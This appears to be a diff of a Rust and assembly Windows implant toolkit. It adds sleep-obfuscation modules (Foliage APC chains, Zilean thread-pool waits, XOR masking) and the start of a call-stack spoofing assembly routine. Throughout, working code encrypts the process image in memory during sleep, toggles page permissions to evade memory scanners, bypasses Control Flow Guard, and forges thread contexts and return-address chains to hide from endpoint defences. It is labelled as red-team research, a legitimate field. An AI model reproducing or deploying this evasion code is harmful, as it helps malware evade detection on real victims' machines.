// thread is about to die - no stack unwinding will occur after this.
|
||||
ctxs[9].Rip = api.ntdll.RtlExitUserThread_ptr as u64;
|
||||
ctxs[9].Rcx = 0;
|
||||
ctxs[9].Rdx = 0;
|
||||
|
||||
// Apply fake stack layout with SpoofKind::Foliage (writes NtTestAlert at stack
|
||||
// top instead of BaseThreadInitThunk, matching APC delivery call chain)
|
||||
spoof_stack_layout(api, &mut ctxs, &scfg, SpoofKind::Foliage);
|
||||
|
||||
// Patch 5th argument (&old_protect) at RSP+0x28 for NtProtectVirtualMemory calls
|
||||
((ctxs[1].Rsp + 0x28) as *mut u64).write(&mut old_protect as *mut _ as u64);
|
||||
((ctxs[7].Rsp + 0x28) as *mut u64).write(&mut old_protect as *mut _ as u64);
|
||||
|
||||
// Queue all 10 APCs on the suspended thread (FIFO order guaranteed)
|
||||
api::log_info!(b"[FOLIAGE] queuing 10 APCs");
|
||||
for ctx in &mut ctxs {
|
||||
let status = api.ntdll.NtQueueApcThread(
|
||||
h_thread,
|
||||
api.ntdll.NtContinue_ptr as *mut c_void,
|
||||
ctx as *mut _ as *mut c_void,
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
);
|
||||
if !NT_SUCCESS!(status) {
|
||||
api::log_info!(b"[FOLIAGE] NtQueueApcThread failed", status);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// Resume the thread into alertable state - all APCs fire immediately in order
|
||||
let status = api.ntdll.NtAlertResumeThread(h_thread, null_mut());
|
||||
if !NT_SUCCESS!(status) {
|
||||
api::log_info!(b"[FOLIAGE] NtAlertResumeThread failed", status);
|
||||
}
|
||||
|
||||
// Signal start event (unblocks step 0), wait for APC thread to exit (step 9 kills it)
|
||||
api::log_info!(b"[FOLIAGE] signaling chain start, waiting for thread exit");
|
||||
api.ntdll.NtSignalAndWaitForSingleObject(event, h_thread, 0, null_mut());
|
||||
|
||||
api::log_info!(b"[FOLIAGE] chain complete, cleaning up");
|
||||
api.ntdll.NtClose(event);
|
||||
api.ntdll.NtClose(h_thread);
|
||||
api.ntdll.NtClose(thread);
|
||||
}
|
||||
|
||||
/// Fiber context passed to [`foliage_fiber`] - holds the API pointer and master fiber handle.
|
||||
struct FiberContext {
|
||||
api: *mut Api,
|
||||
master: PVOID,
|
||||
}
|
||||
|
||||
/// Fiber entry point that runs [`foliage`] on an isolated 1MB stack, then switches
|
||||
/// back to the master fiber.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `param` - Pointer to a [`FiberContext`] containing the `Api` pointer and master fiber handle.
|
||||
unsafe extern "system" fn foliage_fiber(param: PVOID) {
|
||||
let ctx = param as *mut FiberContext;
|
||||
foliage(&mut *(*ctx).api);
|
||||
let switch: FnSwitchToFiber = core::mem::transmute((*(*ctx).api).kernel32.SwitchToFiber_ptr);
|
||||
switch((*ctx).master);
|
||||
}
|
||||
|
||||
/// Run the Foliage sleep obfuscation chain inside a dedicated fiber.
|
||||
///
|
||||
/// Converts the current thread to a fiber, creates a new fiber with a 1MB stack,
|
||||
/// executes [`foliage`] on it, then cleans up and converts back to a normal thread.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `api` - Resolved API function pointers (must include kernel32 fiber functions and
|
||||
/// all ntdll/advapi functions used by [`foliage`]).
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// All `Api` function pointers must be resolved. Must be called from a thread that
|
||||
/// has not already been converted to a fiber.
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe fn foliage_with_fiber(api: &mut Api) {
|
||||
let master = api.kernel32.ConvertThreadToFiber(null_mut());
|
||||
if master.is_null() {
|
||||
api::log_info!(b"[FOLIAGE] ConvertThreadToFiber failed");
|
||||
return;
|
||||
}
|
||||
|
||||
let mut fiber_ctx = FiberContext {
|
||||
api: api as *mut Api,
|
||||
master,
|
||||
};
|
||||
|
||||
let fiber = api.kernel32.CreateFiber(
|
||||
0x100000,
|
||||
Some(foliage_fiber),
|
||||
&mut fiber_ctx as *mut _ as PVOID,
|
||||
);
|
||||
|
||||
if fiber.is_null() {
|
||||
api::log_info!(b"[FOLIAGE] CreateFiber failed");
|
||||
api.kernel32.ConvertFiberToThread();
|
||||
return;
|
||||
}
|
||||
|
||||
api.kernel32.SwitchToFiber(fiber);
|
||||
api.kernel32.DeleteFiber(fiber);
|
||||
api.kernel32.ConvertFiberToThread();
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
//! Sleep obfuscation library for authorized security research and adversary simulation.
|
||||
//!
|
||||
//! Hypnus encrypts the process image in memory during sleep and changes page permissions
|
||||
//! from RX to RW, making the code invisible to memory scanners. It also spoofs the
|
||||
//! thread's call stack and register context to appear as a normal idle Windows thread.
|
||||
//!
|
||||
//! Three dispatch mechanisms are provided, each executing the same 10-step NtContinue
|
||||
//! context chain on a worker thread:
|
||||
//!
|
||||
//! - **Ekko** (`sleep-ekko`): Thread pool timer callbacks via `TpAllocTimer`/`TpSetTimer`.
|
||||
//! - **Foliage** (`sleep-foliage`): APC queue on a dedicated suspended thread via `NtQueueApcThread`.
|
||||
//! - **Zilean** (`sleep-zilean`): Thread pool wait callbacks via `TpAllocWait`/`TpSetWait`.
|
||||
//! - **XOR** (`sleep-xor`): Simple XOR-based memory masking (no context chain).
|
||||
//!
|
||||
//! Enable exactly one technique via Cargo feature flags.
|
||||
|
||||
#![no_std]
|
||||
#![allow(
|
||||
non_snake_case,
|
||||
non_camel_case_types,
|
||||
non_upper_case_globals,
|
||||
dead_code,
|
||||
unused_imports
|
||||
)]
|
||||
|
||||
/// Shared infrastructure: encryption, JMP gadget scanning, stack/context spoofing,
|
||||
/// CFG bypass, and shellcode stub allocation used by all three chain-based techniques.
|
||||
pub mod common;
|
||||
|
||||
/// Timer-based sleep obfuscation using thread pool timers (`TpAllocTimer`/`TpSetTimer`).
|
||||
#[cfg(feature = "sleep-ekko")]
|
||||
pub mod ekko;
|
||||
|
||||
/// APC-based sleep obfuscation using `NtQueueApcThread` on a suspended thread.
|
||||
#[cfg(feature = "sleep-foliage")]
|
||||
pub mod foliage;
|
||||
|
||||
/// Wait-based sleep obfuscation using thread pool waits (`TpAllocWait`/`TpSetWait`).
|
||||
#[cfg(feature = "sleep-zilean")]
|
||||
pub mod zilean;
|
||||
|
||||
/// Simple XOR-based memory section masking without the NtContinue context chain.
|
||||
#[cfg(feature = "sleep-xor")]
|
||||
pub mod xor;
|
||||
@@ -0,0 +1,69 @@
|
||||
//! Simple XOR-based memory masking for sleep obfuscation.
|
||||
//!
|
||||
//! Unlike the chain-based techniques (Ekko, Foliage, Zilean), this module applies a
|
||||
//! repeating 128-byte XOR key directly to memory sections. It does not use NtContinue
|
||||
//! context chains, stack spoofing, or thread context spoofing.
|
||||
|
||||
use {
|
||||
crate::common::apply_xor_mask,
|
||||
api::{
|
||||
api::{Api, MemorySection},
|
||||
util::{is_writable, make_section_writable, restore_section_protection},
|
||||
},
|
||||
};
|
||||
|
||||
/// XOR-mask or unmask a single memory section using the global [`XORKEY`](crate::common::XORKEY).
|
||||
///
|
||||
/// When `mask` is `true` (encrypting), the section is made writable before XOR.
|
||||
/// When `mask` is `false` (decrypting), the original protection is restored after XOR.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `api` - Resolved API function pointers.
|
||||
/// * `section` - The memory section to XOR. Must describe a valid mapped region.
|
||||
/// * `mask` - `true` to encrypt (RX -> RW -> XOR), `false` to decrypt (XOR -> RW -> RX).
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// The caller must ensure `section` points to a valid, mapped memory region and that
|
||||
/// the `Api` function pointers are resolved.
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe fn xor_section(api: &mut Api, section: &mut MemorySection, mask: bool) {
|
||||
api::log_info!(b"[XOR] xor_section", section.base_address as usize);
|
||||
|
||||
// Step 1) If masking, make section writable (RX -> RW) before XOR
|
||||
if mask {
|
||||
make_section_writable(api, section);
|
||||
}
|
||||
|
||||
// Step 2) Apply XOR if section is currently writable
|
||||
if is_writable(section.current_protect) {
|
||||
apply_xor_mask(section.base_address as _, section.size as _);
|
||||
}
|
||||
|
||||
// Step 3) If unmasking, restore original protection (RW -> RX) after XOR
|
||||
if !mask {
|
||||
restore_section_protection(api, section);
|
||||
}
|
||||
}
|
||||
|
||||
/// XOR-mask or unmask all tracked memory sections stored in `api.sleep.sections`.
|
||||
///
|
||||
/// Iterates up to 20 sections and delegates to [`xor_section`] for each.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `api` - Resolved API function pointers and sleep context with section list.
|
||||
/// * `mask` - `true` to encrypt all sections, `false` to decrypt.
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// The caller must ensure all section entries in `api.sleep.sections[0..num_sections]`
|
||||
/// describe valid mapped memory and that `Api` function pointers are resolved.
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe fn mask_memory_from_context(api: &mut Api, mask: bool) {
|
||||
for i in 0..api.sleep.num_sections.min(20) {
|
||||
let section_ptr = &mut api.sleep.sections[i] as *mut MemorySection;
|
||||
xor_section(api, &mut *section_ptr, mask);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,367 @@
|
||||
//! Wait-based sleep obfuscation using Windows thread pool waits.
|
||||
//!
|
||||
//! Zilean schedules the 10-step NtContinue context chain as staggered wait callbacks
|
||||
//! via `TpAllocWait`/`TpSetWait` on a single-threaded pool. Each wait is armed with the
|
||||
//! process pseudo-handle (`-1`) and a timeout - since the process handle never signals,
|
||||
//! the timeout fires and calls `NtContinue` to load the next pre-built `CONTEXT`.
|
||||
//!
|
||||
//! Uses 3 events like Ekko: `capture_done`, `start`, and `done`. The process pseudo-handle
|
||||
//! replaces the dedicated dummy event, matching legitimate async patterns.
|
||||
|
||||
use {
|
||||
crate::common::{
|
||||
alloc_callback, alloc_set_event_stub, alloc_trampoline, current_rsp, find_jmp_gadgets,
|
||||
init_spoof_config, jmp_ctx, set_valid_call_targets, spoof_context, spoof_stack_layout,
|
||||
SpoofKind,
|
||||
},
|
||||
api::{api::Api, windows::*, NT_SUCCESS},
|
||||
core::{ffi::c_void, mem::zeroed, ptr::null_mut},
|
||||
};
|
||||
|
||||
/// Register all NT function pointers used by Zilean as valid CFG call targets.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `api` - Resolved API function pointers (must include ntdll handles).
|
||||
#[link_section = ".text$D"]
|
||||
#[rustfmt::skip]
|
||||
unsafe fn handle_cfg(api: &mut Api) {
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtCreateEvent_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.TpAllocPool_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.TpSetPoolStackInformation_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.TpSetPoolMinThreads_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.TpSetPoolMaxThreads_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.RtlCaptureContext_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.TpAllocWait_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.TpSetWait_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtSetEvent_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtWaitForSingleObject_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtContinue_ptr as *mut c_void);
|
||||
}
|
||||
|
||||
/// Execute the Zilean sleep obfuscation chain using thread pool waits.
|
||||
///
|
||||
/// Sets up a single-threaded pool, captures the worker's context via a trampoline
|
||||
/// wait, clones it into 10 CONTEXTs for the encrypt-sleep-decrypt chain, applies
|
||||
/// JMP gadget indirection and stack spoofing, then schedules all 10 as staggered
|
||||
/// wait callbacks. The main thread blocks on `NtSignalAndWaitForSingleObject` until
|
||||
/// the chain completes.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `api` - Resolved API function pointers and sleep context (`api.sleep` must contain
|
||||
/// valid image base, length, and sleep duration).
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// All `Api` function pointers must be resolved. The caller must ensure the process
|
||||
/// image base/length in `api.sleep` are valid and that no other thread is modifying
|
||||
/// the image concurrently.
|
||||
#[link_section = ".text$D"]
|
||||
#[rustfmt::skip]
|
||||
unsafe fn zilean(api: &mut Api) {
|
||||
api::log_info!(b"[ZILEAN] zilean: enter");
|
||||
|
||||
handle_cfg(api);
|
||||
|
||||
let scfg = init_spoof_config(api);
|
||||
if scfg.is_none() {
|
||||
api::log_info!(b"[ZILEAN] init_spoof_config failed");
|
||||
return;
|
||||
}
|
||||
let scfg = scfg.unwrap();
|
||||
|
||||
let jmp_gadget = find_jmp_gadgets(api);
|
||||
if jmp_gadget.is_none() {
|
||||
api::log_info!(b"[ZILEAN] find_jmp_gadgets failed");
|
||||
return;
|
||||
}
|
||||
let jmp_gadget = jmp_gadget.unwrap();
|
||||
|
||||
let trampoline = alloc_trampoline(api);
|
||||
if trampoline.is_none() {
|
||||
api::log_info!(b"[ZILEAN] trampoline allocation failed");
|
||||
return;
|
||||
}
|
||||
|
||||
let callback = alloc_callback(api);
|
||||
if callback.is_none() {
|
||||
api::log_info!(b"[ZILEAN] callback allocation failed");
|
||||
return;
|
||||
}
|
||||
|
||||
// events[0] = capture_done, events[1] = start, events[2] = done
|
||||
// (process pseudo-handle -1 replaces the old dummy_wait event)
|
||||
let mut events = [null_mut(); 3];
|
||||
for event in &mut events {
|
||||
let status = api.ntdll.NtCreateEvent(
|
||||
&mut *event, EVENT_ALL_ACCESS, null_mut(),
|
||||
EVENT_TYPE::NotificationEvent, 0,
|
||||
);
|
||||
if !NT_SUCCESS!(status) {
|
||||
api::log_info!(b"[ZILEAN] NtCreateEvent failed", status);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// Create a single-threaded pool with 512KB stack
|
||||
let mut pool = null_mut();
|
||||
let status = api.ntdll.TpAllocPool(&mut pool, null_mut());
|
||||
if !NT_SUCCESS!(status) {
|
||||
api::log_info!(b"[ZILEAN] TpAllocPool failed", status);
|
||||
return;
|
||||
}
|
||||
|
||||
let mut stack = TP_POOL_STACK_INFORMATION { StackCommit: 0x80000, StackReserve: 0x80000 };
|
||||
let status = api.ntdll.TpSetPoolStackInformation(pool, &mut stack);
|
||||
if !NT_SUCCESS!(status) {
|
||||
api::log_info!(b"[ZILEAN] TpSetPoolStackInformation failed", status);
|
||||
return;
|
||||
}
|
||||
|
||||
api.ntdll.TpSetPoolMinThreads(pool, 1);
|
||||
api.ntdll.TpSetPoolMaxThreads(pool, 1);
|
||||
|
||||
let mut env = TP_CALLBACK_ENVIRON_V3 { Pool: pool, ..Default::default() };
|
||||
|
||||
// Schedule trampoline wait to capture worker thread context via RtlCaptureContext.
|
||||
// P1Home stores the RtlCaptureContext pointer; the trampoline stub reads it via jmp [rcx].
|
||||
// Use process pseudo-handle (-1) as wait target - never signals, so timeout fires.
|
||||
let mut wait_ctx = null_mut();
|
||||
let mut ctx_init: CONTEXT = zeroed();
|
||||
ctx_init.ContextFlags = CONTEXT_FULL;
|
||||
ctx_init.P1Home = api.ntdll.RtlCaptureContext_ptr as u64;
|
||||
|
||||
let status = api.ntdll.TpAllocWait(
|
||||
&mut wait_ctx,
|
||||
trampoline.unwrap() as *mut c_void,
|
||||
&mut ctx_init as *mut _ as *mut c_void,
|
||||
&mut env,
|
||||
);
|
||||
if !NT_SUCCESS!(status) {
|
||||
api::log_info!(b"[ZILEAN] TpAllocWait [RtlCaptureContext] failed", status);
|
||||
return;
|
||||
}
|
||||
|
||||
// Fire trampoline via 100ms timeout (process handle never signals)
|
||||
let mut delay = zeroed::<LARGE_INTEGER>();
|
||||
delay.QuadPart = -(100i64 * 10_000);
|
||||
let h_process = -1isize as HANDLE;
|
||||
api.ntdll.TpSetWait(wait_ctx, h_process, &mut delay);
|
||||
|
||||
// Schedule set_event_stub wait to signal capture_done at 200ms
|
||||
let set_event_stub = alloc_set_event_stub(api);
|
||||
if set_event_stub.is_none() {
|
||||
api::log_info!(b"[ZILEAN] alloc_set_event_stub failed");
|
||||
return;
|
||||
}
|
||||
|
||||
let mut wait_event = null_mut();
|
||||
let status = api.ntdll.TpAllocWait(
|
||||
&mut wait_event,
|
||||
set_event_stub.unwrap() as *mut c_void,
|
||||
events[0], // capture_done event (callback context)
|
||||
&mut env,
|
||||
);
|
||||
if !NT_SUCCESS!(status) {
|
||||
api::log_info!(b"[ZILEAN] TpAllocWait [NtSetEvent] failed", status);
|
||||
return;
|
||||
}
|
||||
|
||||
delay.QuadPart = -(200i64 * 10_000);
|
||||
api.ntdll.TpSetWait(wait_event, h_process, &mut delay);
|
||||
|
||||
// Block until the worker context is captured
|
||||
let status = api.ntdll.NtWaitForSingleObject(events[0], 0, null_mut());
|
||||
if !NT_SUCCESS!(status) {
|
||||
api::log_info!(b"[ZILEAN] NtWaitForSingleObject [capture] failed", status);
|
||||
}
|
||||
api::log_info!(b"[ZILEAN] context captured");
|
||||
|
||||
// Clone captured context into 10 copies; set Rax = NtContinue for each
|
||||
let mut ctxs = [ctx_init; 10];
|
||||
for ctx in &mut ctxs {
|
||||
ctx.Rax = api.ntdll.NtContinue_ptr as u64;
|
||||
ctx.Rsp -= 8;
|
||||
}
|
||||
|
||||
// Get a real handle to the current thread (fiber's underlying thread)
|
||||
let mut h_thread = null_mut();
|
||||
let status = api.ntdll.NtDuplicateObject(
|
||||
-1isize as HANDLE,
|
||||
-2isize as HANDLE,
|
||||
-1isize as HANDLE,
|
||||
&mut h_thread,
|
||||
0, 0,
|
||||
DUPLICATE_SAME_ACCESS,
|
||||
);
|
||||
if !NT_SUCCESS!(status) {
|
||||
api::log_info!(b"[ZILEAN] NtDuplicateObject failed", status);
|
||||
}
|
||||
|
||||
// Build spoofed main-thread context (Rip = ZwWaitForWorkViaWorkerFactory)
|
||||
ctx_init.Rsp = current_rsp();
|
||||
let mut ctx_spoof = spoof_context(api, &scfg, ctx_init);
|
||||
|
||||
let mut base = api.sleep.buffer as PVOID;
|
||||
let mut size = api.sleep.length;
|
||||
let mut old_protect: DWORD = 0;
|
||||
let mut ctx_backup: CONTEXT = zeroed();
|
||||
ctx_backup.ContextFlags = CONTEXT_FULL;
|
||||
|
||||
// Step 0: NtWaitForSingleObject(start_event) - gate until main signals
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[0], api.ntdll.NtWaitForSingleObject_ptr as u64);
|
||||
ctxs[0].Rcx = events[1] as u64; // start event
|
||||
ctxs[0].Rdx = 0;
|
||||
ctxs[0].R8 = 0;
|
||||
|
||||
// Step 1: NtProtectVirtualMemory(RW) - make image writable
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[1], api.ntdll.NtProtectVirtualMemory_ptr as u64);
|
||||
ctxs[1].Rcx = -1isize as u64;
|
||||
ctxs[1].Rdx = &mut base as *mut _ as u64;
|
||||
ctxs[1].R8 = &mut size as *mut _ as u64;
|
||||
ctxs[1].R9 = PAGE_READWRITE as u64;
|
||||
|
||||
// Step 2: SystemFunction040 (RC4 encrypt) - encrypt image in-place
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[2], api.advapi.SystemFunction040_ptr as u64);
|
||||
ctxs[2].Rcx = api.sleep.buffer as u64;
|
||||
ctxs[2].Rdx = api.sleep.length as u64;
|
||||
ctxs[2].R8 = 0;
|
||||
|
||||
// Step 3: NtGetContextThread - save real main thread context to backup
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[3], api.ntdll.NtGetContextThread_ptr as u64);
|
||||
ctxs[3].Rcx = h_thread as u64;
|
||||
ctxs[3].Rdx = &mut ctx_backup as *mut _ as u64;
|
||||
|
||||
// Step 4: NtSetContextThread - replace main context with spoofed idle context
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[4], api.ntdll.NtSetContextThread_ptr as u64);
|
||||
ctxs[4].Rcx = h_thread as u64;
|
||||
ctxs[4].Rdx = &mut ctx_spoof as *mut _ as u64;
|
||||
|
||||
// Step 5: WaitForSingleObject(main_thread, sleep_ms) - THE ACTUAL SLEEP
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[5], api.kernel32.WaitForSingleObject_ptr as u64);
|
||||
ctxs[5].Rcx = h_thread as u64;
|
||||
ctxs[5].Rdx = api.sleep.dw_milliseconds as u64;
|
||||
|
||||
// Step 6: SystemFunction041 (RC4 decrypt) - decrypt image
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[6], api.advapi.SystemFunction041_ptr as u64);
|
||||
ctxs[6].Rcx = api.sleep.buffer as u64;
|
||||
ctxs[6].Rdx = api.sleep.length as u64;
|
||||
ctxs[6].R8 = 0;
|
||||
|
||||
// Step 7: NtProtectVirtualMemory(RX) - restore execute permission
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[7], api.ntdll.NtProtectVirtualMemory_ptr as u64);
|
||||
ctxs[7].Rcx = -1isize as u64;
|
||||
ctxs[7].Rdx = &mut base as *mut _ as u64;
|
||||
ctxs[7].R8 = &mut size as *mut _ as u64;
|
||||
ctxs[7].R9 = PAGE_EXECUTE_READ as u64;
|
||||
|
||||
// Step 8: NtSetContextThread - restore real main thread context from backup
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[8], api.ntdll.NtSetContextThread_ptr as u64);
|
||||
ctxs[8].Rcx = h_thread as u64;
|
||||
ctxs[8].Rdx = &mut ctx_backup as *mut _ as u64;
|
||||
|
||||
// Step 9: NtSetEvent(done_event) - signal chain completion
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[9], api.ntdll.NtSetEvent_ptr as u64);
|
||||
ctxs[9].Rcx = events[2] as u64; // done event
|
||||
ctxs[9].Rdx = 0;
|
||||
|
||||
// Apply fake stack layout to all 10 contexts (spoofed return address chain)
|
||||
spoof_stack_layout(api, &mut ctxs, &scfg, SpoofKind::Wait);
|
||||
|
||||
// Patch 5th argument (&old_protect) at RSP+0x28 for NtProtectVirtualMemory calls
|
||||
((ctxs[1].Rsp + 0x28) as *mut u64).write(&mut old_protect as *mut _ as u64);
|
||||
((ctxs[7].Rsp + 0x28) as *mut u64).write(&mut old_protect as *mut _ as u64);
|
||||
|
||||
// Schedule all 10 chain steps as staggered wait callbacks (100ms apart).
|
||||
// Each wait uses process pseudo-handle (never signals) so the timeout fires.
|
||||
api::log_info!(b"[ZILEAN] scheduling 10 wait callbacks");
|
||||
for ctx in &mut ctxs {
|
||||
let mut wait = null_mut();
|
||||
let status = api.ntdll.TpAllocWait(
|
||||
&mut wait,
|
||||
callback.unwrap() as *mut c_void,
|
||||
ctx as *mut _ as *mut c_void,
|
||||
&mut env,
|
||||
);
|
||||
if !NT_SUCCESS!(status) {
|
||||
api::log_info!(b"[ZILEAN] TpAllocWait [chain] failed", status);
|
||||
return;
|
||||
}
|
||||
delay.QuadPart += -(100i64 * 10_000);
|
||||
api.ntdll.TpSetWait(wait, h_process, &mut delay);
|
||||
}
|
||||
|
||||
// Signal start_event (unblocks step 0) and wait for done_event (step 9 signals it)
|
||||
api::log_info!(b"[ZILEAN] signaling chain start, waiting for completion");
|
||||
api.ntdll.NtSignalAndWaitForSingleObject(events[1], events[2], 0, null_mut());
|
||||
|
||||
api::log_info!(b"[ZILEAN] chain complete, cleaning up");
|
||||
api.ntdll.NtClose(h_thread);
|
||||
for e in &events {
|
||||
api.ntdll.NtClose(*e);
|
||||
}
|
||||
}
|
||||
|
||||
/// Fiber context passed to [`zilean_fiber`] - holds the API pointer and master fiber handle.
|
||||
struct FiberContext {
|
||||
api: *mut Api,
|
||||
master: PVOID,
|
||||
}
|
||||
|
||||
/// Fiber entry point that runs [`zilean`] on an isolated 1MB stack, then switches
|
||||
/// back to the master fiber.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `param` - Pointer to a [`FiberContext`] containing the `Api` pointer and master fiber handle.
|
||||
unsafe extern "system" fn zilean_fiber(param: PVOID) {
|
||||
let ctx = param as *mut FiberContext;
|
||||
zilean(&mut *(*ctx).api);
|
||||
let switch: FnSwitchToFiber = core::mem::transmute((*(*ctx).api).kernel32.SwitchToFiber_ptr);
|
||||
switch((*ctx).master);
|
||||
}
|
||||
|
||||
/// Run the Zilean sleep obfuscation chain inside a dedicated fiber.
|
||||
///
|
||||
/// Converts the current thread to a fiber, creates a new fiber with a 1MB stack,
|
||||
/// executes [`zilean`] on it, then cleans up and converts back to a normal thread.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `api` - Resolved API function pointers (must include kernel32 fiber functions and
|
||||
/// all ntdll/advapi functions used by [`zilean`]).
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// All `Api` function pointers must be resolved. Must be called from a thread that
|
||||
/// has not already been converted to a fiber.
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe fn zilean_with_fiber(api: &mut Api) {
|
||||
let master = api.kernel32.ConvertThreadToFiber(null_mut());
|
||||
if master.is_null() {
|
||||
api::log_info!(b"[ZILEAN] ConvertThreadToFiber failed");
|
||||
return;
|
||||
}
|
||||
|
||||
let mut fiber_ctx = FiberContext {
|
||||
api: api as *mut Api,
|
||||
master,
|
||||
};
|
||||
|
||||
let fiber = api.kernel32.CreateFiber(
|
||||
0x100000,
|
||||
Some(zilean_fiber),
|
||||
&mut fiber_ctx as *mut _ as PVOID,
|
||||
);
|
||||
|
||||
if fiber.is_null() {
|
||||
api::log_info!(b"[ZILEAN] CreateFiber failed");
|
||||
api.kernel32.ConvertFiberToThread();
|
||||
return;
|
||||
}
|
||||
|
||||
api.kernel32.SwitchToFiber(fiber);
|
||||
api.kernel32.DeleteFiber(fiber);
|
||||
api.kernel32.ConvertFiberToThread();
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
[package]
|
||||
name = "ntdef"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
@@ -0,0 +1,11 @@
|
||||
#![no_std]
|
||||
#![allow(
|
||||
non_snake_case,
|
||||
non_camel_case_types,
|
||||
non_upper_case_globals,
|
||||
dead_code,
|
||||
unused_imports,
|
||||
unexpected_cfgs
|
||||
)]
|
||||
|
||||
pub mod windows;
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,3 @@
|
||||
[toolchain]
|
||||
channel = "nightly"
|
||||
targets = ["x86_64-pc-windows-gnu", "i686-pc-windows-gnu"]
|
||||
@@ -0,0 +1,7 @@
|
||||
# Treats all imports as if they belong to one module, effectively grouping all imports together.
|
||||
# This can simplify the top of your files by having a single import section.
|
||||
imports_granularity = "One"
|
||||
|
||||
# Combines all imports into a single block, without distinguishing between standard library, external crates, or internal modules.
|
||||
# This setting avoids separate blocks for different types of imports, creating a cleaner and more concise import section.
|
||||
group_imports = "One"
|
||||
@@ -0,0 +1,14 @@
|
||||
[package]
|
||||
name = "uwd"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[features]
|
||||
spoof-uwd = []
|
||||
spoof-syscall = ["spoof-uwd"]
|
||||
|
||||
[dependencies]
|
||||
ntdef = { path = "../ntdef" }
|
||||
|
||||
[build-dependencies]
|
||||
cc = "1.2.55"
|
||||
@@ -0,0 +1,182 @@
|
||||
[BITS 64]
|
||||
|
||||
GLOBAL SpoofSynthetic
|
||||
|
||||
[SECTION .data]
|
||||
|
||||
STRUC Config
|
||||
.RtlUserThreadStartAddr RESQ 1
|
||||
.RtlUserThreadStartFrameSize RESQ 1
|
||||
|
||||
.BaseThreadInitThunkAddr RESQ 1
|
||||
.BaseThreadInitThunkFrameSize RESQ 1
|
||||
|
||||
.FirstFrame RESQ 1
|
||||
.SecondFrame RESQ 1
|
||||
.JmpRbxGadget RESQ 1
|
||||
.AddRspXGadget RESQ 1
|
||||
|
||||
.FirstFrameSize RESQ 1
|
||||
.SecondFrameSize RESQ 1
|
||||
.JmpRbxGadgetFrameSize RESQ 1
|
||||
.AddRspXGadgetFrameSize RESQ 1
|
||||
|
||||
.RbpOffset RESQ 1
|
||||
|
||||
.SpooFunction RESQ 1
|
||||
.ReturnAddress RESQ 1
|
||||
|
||||
.IsSyscall RESD 1
|
||||
.Ssn RESD 1
|
||||
|
||||
.NArgs RESQ 1
|
||||
.Arg01 RESQ 1
|
||||
.Arg02 RESQ 1
|
||||
.Arg03 RESQ 1
|
||||
.Arg04 RESQ 1
|
||||
.Arg05 RESQ 1
|
||||
.Arg06 RESQ 1
|
||||
.Arg07 RESQ 1
|
||||
.Arg08 RESQ 1
|
||||
.Arg09 RESQ 1
|
||||
.Arg10 RESQ 1
|
||||
.Arg11 RESQ 1
|
||||
ENDSTRUC
|
||||
|
||||
[SECTION .text$E]
|
||||
|
||||
SpoofSynthetic:
|
||||
push QWORD rbp
|
||||
push QWORD rbx
|
||||
push QWORD r12
|
||||
push QWORD r13
|
||||
push QWORD r15
|
||||
|
||||
sub rsp, 210h
|
||||
mov rbp, rsp
|
||||
|
||||
lea rax, [rel RestoreSynthetic]
|
||||
push rax
|
||||
lea rbx, [rsp]
|
||||
|
||||
xor rax, rax
|
||||
push rax
|
||||
|
||||
sub rsp, [rcx + Config.RtlUserThreadStartFrameSize]
|
||||
push QWORD [rcx + Config.RtlUserThreadStartAddr]
|
||||
add QWORD [rsp], 21h
|
||||
|
||||
